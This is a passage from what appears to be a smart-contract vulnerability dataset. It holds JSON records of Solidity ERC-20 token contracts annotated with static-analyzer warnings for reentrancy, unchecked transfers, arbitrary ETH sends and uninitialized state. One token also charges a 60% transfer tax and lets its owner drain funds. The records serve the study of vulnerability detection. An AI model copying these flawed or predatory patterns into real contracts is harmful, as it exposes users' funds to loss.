99590c7\n buyTax = newBuyFee;\n\n\t\t// events-maths | ID: 99590c7\n sellTax = newSellFee;\n }\n\n function removeLimits() external onlyOwner {\n maxWalletAmount = 0;\n\n maxSwapAmount = 0;\n }\n\n function disableWalletLimit() external onlyOwner {\n maxWalletAmount = 0;\n }\n\n function removeSwapLimit() external onlyOwner {\n maxSwapAmount = 0;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb70b87): PETH.setStructure(uint256,uint256) should emit an event for _contractSwapMin = minDiv \n\t// Recommendation for eb70b87: Emit an event for critical parameter changes.\n function setStructure(uint256 maxMul, uint256 minDiv) external {\n require(msg.sender == feeRecipientAddress || msg.sender == owner());\n\n require(maxMul <= 4 && minDiv != 0);\n\n _contractSwapMax = maxMul;\n\n\t\t// events-maths | ID: eb70b87\n _contractSwapMin = minDiv;\n }\n\n function removeStuckETH() external {\n require(msg.sender == feeRecipientAddress || msg.sender == owner());\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ba04dcc): PETH.removeStuckERC20(IERC20) ignores return value by token.transfer(msg.sender,token.balanceOf(address(this)))\n\t// Recommendation for ba04dcc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function removeStuckERC20(IERC20 token) external {\n require(msg.sender == feeRecipientAddress || msg.sender == owner());\n\n\t\t// unchecked-transfer | ID: ba04dcc\n token.transfer(msg.sender, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10715.sol",
"size_bytes": 20070,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n}\n\ncontract BOOKOFGOD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _exclFromLimit;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BOOKOFGOD\";\n\n string private constant _symbol = unicode\"$BOOKOFGOD\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ffe4ac): BOOKOFGOD._maxTxAmount should be constant \n\t// Recommendation for 8ffe4ac: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac0d2b0): BOOKOFGOD._maxWalletSize should be constant \n\t// Recommendation for ac0d2b0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c3b982): BOOKOFGOD._taxSwapThreshold should be constant \n\t// Recommendation for 5c3b982: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 34e0707): BOOKOFGOD._maxTaxSwap should be constant \n\t// Recommendation for 34e0707: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 81f89d1): BOOKOFGOD._taxWallet should be immutable \n\t// Recommendation for 81f89d1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fce808): BOOKOFGOD.limitsInEffect should be constant \n\t// Recommendation for 5fce808: Add the 'constant' attribute to state variables that never change.\n bool private limitsInEffect = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7Bc2fEC4c170fF77e45Ab7a00c12fD15ED87396c);\n\n _balances[_msgSender()] = _tTotal;\n\n _exclFromLimit[_taxWallet] = true;\n\n _exclFromLimit[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a776b9): BOOKOFGOD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a776b9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1bd2a5a): BOOKOFGOD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1bd2a5a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 357749d): BOOKOFGOD.openTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 357749d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c112784): BOOKOFGOD.openTrading() ignores return value by IERC20(uniswapPair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for c112784: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5293efc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5293efc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5293efc\n uniswapPair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// unused-return | ID: 357749d\n\t\t// reentrancy-eth | ID: 5293efc\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c112784\n\t\t// reentrancy-eth | ID: 5293efc\n IERC20(uniswapPair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 5293efc\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function recoverStuckEth(address _receiver, address _percent) external {\n require(_msgSender() == _taxWallet);\n }\n}\n",
"file_name": "solidity_code_10716.sol",
"size_bytes": 12258,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FefeTwoZero is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0f368b2): FefeTwoZero.bots is never initialized. It is used in FefeTwoZero._transfer(address,address,uint256)\n\t// Recommendation for 0f368b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3c8d2ad): FefeTwoZero._taxWallet should be immutable \n\t// Recommendation for 3c8d2ad: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a735833): FefeTwoZero._initialBuyTax should be constant \n\t// Recommendation for a735833: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c11c9f): FefeTwoZero._initialSellTax should be constant \n\t// Recommendation for 0c11c9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3215649): FefeTwoZero._reduceBuyTaxAt should be constant \n\t// Recommendation for 3215649: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4b1589): FefeTwoZero._reduceSellTaxAt should be constant \n\t// Recommendation for d4b1589: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3db3dfc): FefeTwoZero._preventSwapBefore should be constant \n\t// Recommendation for 3db3dfc: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"FEFE 2.0\";\n\n string private constant _symbol = unicode\"FEFE2.0\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a74b90): FefeTwoZero._taxSwapThreshold should be constant \n\t// Recommendation for 5a74b90: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66dbf0e): FefeTwoZero._maxTaxSwap should be constant \n\t// Recommendation for 66dbf0e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5fbfd93): FefeTwoZero.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5fbfd93: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f04f02c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f04f02c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 63908e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 63908e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f04f02c\n\t\t// reentrancy-benign | ID: 63908e0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f04f02c\n\t\t// reentrancy-benign | ID: 63908e0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24f92c4): FefeTwoZero._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24f92c4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 63908e0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f04f02c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3cc1e11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3cc1e11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0f368b2): FefeTwoZero.bots is never initialized. It is used in FefeTwoZero._transfer(address,address,uint256)\n\t// Recommendation for 0f368b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5ccd233): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5ccd233: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3cc1e11\n\t\t\t\t// reentrancy-eth | ID: 5ccd233\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3cc1e11\n\t\t\t\t\t// reentrancy-eth | ID: 5ccd233\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5ccd233\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5ccd233\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5ccd233\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3cc1e11\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5ccd233\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5ccd233\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3cc1e11\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f04f02c\n\t\t// reentrancy-events | ID: 3cc1e11\n\t\t// reentrancy-benign | ID: 63908e0\n\t\t// reentrancy-eth | ID: 5ccd233\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fd50afd): FefeTwoZero.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fd50afd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f04f02c\n\t\t// reentrancy-events | ID: 3cc1e11\n\t\t// reentrancy-eth | ID: 5ccd233\n\t\t// arbitrary-send-eth | ID: fd50afd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 970cdff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 970cdff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 53d5cbe): FefeTwoZero.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 53d5cbe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4d37ec1): FefeTwoZero.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4d37ec1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 96ba0c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 96ba0c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 970cdff\n\t\t// reentrancy-eth | ID: 96ba0c7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 970cdff\n\t\t// unused-return | ID: 53d5cbe\n\t\t// reentrancy-eth | ID: 96ba0c7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 970cdff\n\t\t// unused-return | ID: 4d37ec1\n\t\t// reentrancy-eth | ID: 96ba0c7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 970cdff\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 96ba0c7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b3b1695): FefeTwoZero.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for b3b1695: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: b3b1695\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10717.sol",
"size_bytes": 21193,
"vulnerability": 4
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.